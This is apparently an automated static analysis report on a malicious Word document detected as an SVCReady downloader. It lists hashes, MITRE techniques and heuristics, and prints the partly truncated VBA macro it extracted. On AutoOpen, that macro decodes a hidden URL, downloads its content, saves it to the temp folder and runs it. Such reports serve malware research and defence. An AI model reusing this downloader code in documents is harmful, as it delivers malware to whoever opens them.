Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e7c1916efb3298b5…

MALICIOUS

Office (OOXML)

114.6 KB Created: 2020-07-28 09:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 833ad60a600b61ca5ab46135ad2ad90a SHA-1: 87b59987a0a05ae69ef0bd95e5647f8b8cd6e5ae SHA-256: e7c1916efb3298b5f4537e195aa957664971e19f29561863c3751275006d631d
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro that executes via the AutoOpen subroutine. This macro constructs a temporary file path and then uses a WshShell object to execute a command that appears to download and run a second-stage payload. The external relationship to 'file:///C:\Framework\rels\builds\pack3\us.jpg' is suspicious and likely related to the payload delivery.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack3\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4435 bytes
SHA-256: 2b2792cb0d8ed75f9eef09de6953c9f84da2379f0f3b815d3f686af30599ddb1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "caf03035"
Function a4222c10()
a4222c10 = ActiveWindow.Parent
End Function
Function a024ef1a()
a024ef1a = ActiveWindow.Index
End Function
Function e009e960()
e009e960 = Application.ActiveDocument.CompatibilityMode
End Function
Function cf832a19()
cf832a19 = ActiveWindow.Split
End Function
Sub AutoOpen()
Dim ac10d040 As New fac58a32
aaa = b42d94e5(a3af7675)
e6a0ebea = ac10d040.aa001018(aaa, "")
bc6f9fea d8393dbb, e6a0ebea
a9095f0f = b42d94e5(ActiveDocument.Shapes(1).Title)
Dim e70a0960 As New WshShell
e70a0960.exec "" & a9095f0f & " " & d8393dbb
End Sub

Attribute VB_Name = "adf61700"
Function d9bcbd1e()
d9bcbd1e = Application.ActiveDocument.ClickAndTypeParagraphStyle
End Function
Function de9b4d65()
de9b4d65 = ActiveWindow.DisplayRightRuler
End Function
Function f0c52eb5()
f0c52eb5 = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function ca752e09()
ca752e09 = Application.ActiveDocument.ConsecutiveHyphensLimit
End Function
Sub bc6f9fea(e87f2914, b4fdb74e)
Dim a6b05bf3
a6b05bf3 = FreeFile
Open e87f2914 For Output As #a6b05bf3
Print #a6b05bf3, b9984987(b4fdb74e)
Close #a6b05bf3
End Sub
Function d8393dbb()
d8393dbb = Environ("tmp") & "\main.theme"
End Function
Function c7da8cd9()
c7da8cd9 = Application.ActiveDocument.ChartDataPointTrack
End Function
Function e55a16c6()
e55a16c6 = ActiveWindow.DisplayHorizontalScrollBar
End Function
Function dc1eb6dd()
dc1eb6dd = ActiveWindow.WindowNumber
End Function
Function de4f1856()
de4f1856 = ActiveWindow.View
End Function
Function b42d94e5(dfe5f5ee)
For ec7b5cfd = 1 To Len(dfe5f5ee) Step 3
adf2546c = Mid(dfe5f5ee, ec7b5cfd, 1)
fc65ffe4 = fc65ffe4 & adf2546c
Next
b42d94e5 = fc65ffe4
End Function
Function fcb67395()
fcb67395 = Application.ActiveDocument.ConsecutiveHyphensLimit
End Function
Function d9ceadf2()
d9ceadf2 = ActiveWindow.WindowState
End Function
Function a2e441b3()
a2e441b3 = ActiveWindow.WindowState
End Function
Function fa22ad78()
fa22ad78 = ActiveWindow.DisplayHorizontalScrollBar
End Function
Sub c485c437()
End Sub
Function a5590c9d()
a5590c9d = ActiveWindow.Thumbnails
End Function
Function a2ae5c46()
a2ae5c46 = ActiveWindow.UsableHeight
End Function
Function e8baf64a()
e8baf64a = Application.ActiveDocument.Application
End Function
Function bf28426d()
bf28426d = ActiveWindow.UsableHeight
End Function
Function b9984987(b4fdb74e)
b9984987 = StrConv(b4fdb74e, 64)
End Function
Function d628aead()
d628aead = Application.ActiveDocument.CurrentRsid
End Function
Function fcb0c6ec()
fcb0c6ec = ActiveWindow.HorizontalPercentScrolled
End Function
Function caa98983()
caa98983 = 21043 * 1
End Function
Function fb50d7ce()
fb50d7ce = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function a3af7675()
a3af7675 = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "fac58a32"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f060e94b()
f060e94b = Application.ActiveDocument.AutoFormatOverride
End Function
Function daed3601()
daed3601 = ActiveWindow.View
End Function
Function e0a502f9(aa99226c As Long) As Long
Dim a1838061 As Integer
For a1838061 = 5 To 82
aa99226c = aa99226c + a1838061
Next a1838061
e0a502f9 = aa99226c
End Function
Function e039551e()
e039551e = ActiveWindow.Split
End Function
Function aa001018(e8639156, f7edec02)
Dim fde3e6d5 As Object
Set fde3e6d5 = New MSXML2.XMLHTTP60
Call fde3e6d5.Open("GET", e8639156, False)
fde3e6d5.Send
aa001018 = fde3e6d5.responsebody
End Fu
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: c90a4482e9e9109c735b6a2999153dd19f9d940fd62a4883e6afc06b0b9b8870